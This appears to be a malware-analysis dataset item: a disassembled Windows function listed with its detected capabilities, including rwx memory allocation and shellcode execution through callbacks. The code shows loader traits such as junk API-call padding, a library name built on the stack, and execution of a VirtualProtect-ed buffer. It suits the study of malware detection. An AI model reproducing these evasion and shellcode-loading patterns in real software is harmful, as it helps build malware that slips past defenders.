Function at 0x804670
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create mailslot
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Query environment variable
Read .ini file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x806b06
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2cb0
call fcn.0040c510
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e169
jge 0x8046be
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9b1d8e
jle 0x8046da
cmp dword [esp + 0x10], 0xc095d8
je 0x8046da
cmp dword [esp + 0x3c], 0x903b058
jne 0x8046e3
inc esi
cmp esi, 0x98a5a
jl 0x8046b0
cmp dword [0x266225c], 0xcf8
jne 0x8047e0
push edi
push edi
push edi
call fcn.0040490e
push 0x4033d4
push edi
call fcn.0040490e
push edi
push edi
push edi
push edi
call fcn.00404606
push edi
push edi
call fcn.00403e32
push edi
call fcn.004044cb
push edi
push edi
call fcn.0040433b
add esp, 0x38
mov dword [esp + 0x70], edi
mov dword [esp + 0x74], edi
mov dword [esp + 0x78], edi
mov dword [esp + 0x2ccc], edi
xor eax, eax
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x804750
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x80476a
push 0x403648
call fcn.00403bcb
cmp esi, 0xf
jbe 0x80477d
push edi
push esi
lea eax, [esp + 0x38]
push eax
call fcn.004039b0
jmp 0x80478a
cmp esi, edi
jne 0x80478c
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x8047c7
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x44], ebx
jae 0x8047a6
lea eax, [esp + 0x30]
push esi
push edi
push eax
call fcn.0040a730
mov eax, dword [esp + 0x3c]
add esp, 0xc
mov dword [esp + 0x40], esi
cmp dword [esp + 0x44], ebx
jae 0x8047c3
lea eax, [esp + 0x30]
mov byte [eax + esi], 0
cmp dword [esp + 0x44], ebx
jb 0x8047da
mov ecx, dword [esp + 0x30]
push ecx
call fcn.004049cb
add esp, 4
push edi
call fcn.004048bc
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
cmp esi, 0x408
jne 0x804807
mov eax, 0x5d1
add dword [0x266225c], eax
cmp dword [0x266225c], 3
jne 0x804826
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0x8c4]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x8047f4
mov eax, dword [0x266225c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [0x8253ec], eax
mov eax, dword [0x266225c]
xor esi, esi
test eax, eax
je 0x8048b2
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
nop
cmp eax, 0xfe
jne 0x804889
push 0
call ebx
call ebp
xor ecx, ecx
lea eax, [esp + 0x10]
push eax
push ecx
push ecx
lea edx, [esp + 0xcc]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.00804400
mov eax, dword [0x266225c]
cmp eax, 0x29
jne 0x8048ad
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x266225c]
inc esi
cmp esi, eax
jb 0x804860
cmp eax, 0x70
jne 0x80495c
push 0
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0x4033e0
push 0x4033f4
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0x403400
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea edx, [esp + 0x8c8]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea eax, [esp + 0x4c4]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0x403470
push 0x403530
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x266225c]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x10], 0x9682ab
lea esp, [esp]
cmp eax, 3
jne 0x8049b3
push 0
lea ecx, [esp + 0x70]
push ecx
push 0
lea edx, [esp + 0x4cc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea eax, [esp + 0xc0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x266225c]
cmp eax, 0xdf
jne 0x804c0a
push 0x403580
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
lea eax, [esp + 0x60]
push eax
push ecx
push ecx
lea edx, [esp + 0x14cc]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
push 0
call esi
lea eax, [esp + 0x68]
push eax
call edi
push 0
lea ecx, [esp + 0x8c]
push ecx
call ebp
push 0
lea edx, [esp + 0x28]
push edx
call ebx
push 0
push 0
push 0
push 0x4035a0
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov eax, dword [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea ecx, [esp + 0x1cc4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x64]
push edx
push 0
lea eax, [esp + 0x38]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
lea ecx, [esp + 0x88]
push ecx
call ebx
push 0
lea edx, [esp + 0x24]
push edx
call ebp
lea eax, [esp + 0x2c]
push eax
call edi
lea ecx, [esp + 0x28]
push ecx
push 0
lea edx, [esp + 0x4c8]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
lea eax, [esp + 0x1c]
push eax
push 0x403608
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
xor eax, eax
lea ecx, [esp + 0x58]
push ecx
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea edx, [esp + 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
lea eax, [esp + 0xc4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x10c4]
push ecx
push 0x403624
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0x8c4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24c4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x94]
push 0
push edx
mov dword [esp + 0x98], 0
call fcn.00405cc0
add esp, 0xc
push 0
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x266225c]
dec dword [esp + 0x10]
jne 0x804980
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
push 0
call edi
push 0
call ebx
dec esi
jne 0x804c25
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
jmp 0x804c40
cmp dword [0x266225c], 0x222
jne 0x804c50
push 0
call esi
dec edi
jne 0x804c40
mov edx, dword [0x266225c]
mov eax, dword [0x8253ec]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
mov byte [0x820658], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00804620
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
cmp dword [0x266225c], 0xba
jne 0x804c9a
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x804ca7
call fcn.008043e0
inc esi
cmp esi, 0x1605a
jl 0x804c81
mov edx, 0x73
mov eax, 0x6d
mov word [0x265829a], dx
mov word [0x265829e], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x26582a2], cx
mov word [0x26582ae], ax
mov word [0x26582a0], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x2658298
mov dword [0x26582a8], 0x6c0064
mov word [0x265829c], ax
mov word [0x2658298], cx
mov word [0x26582ac], dx
mov dword [0x26582a4], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x266225c], 0xc30
jne 0x804db4
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
lea edx, [esp + 0x1c]
push edx
push 0
lea eax, [esp + 0x8cc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x10c4]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x34]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ecx, dword [esp + 0x2cc4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret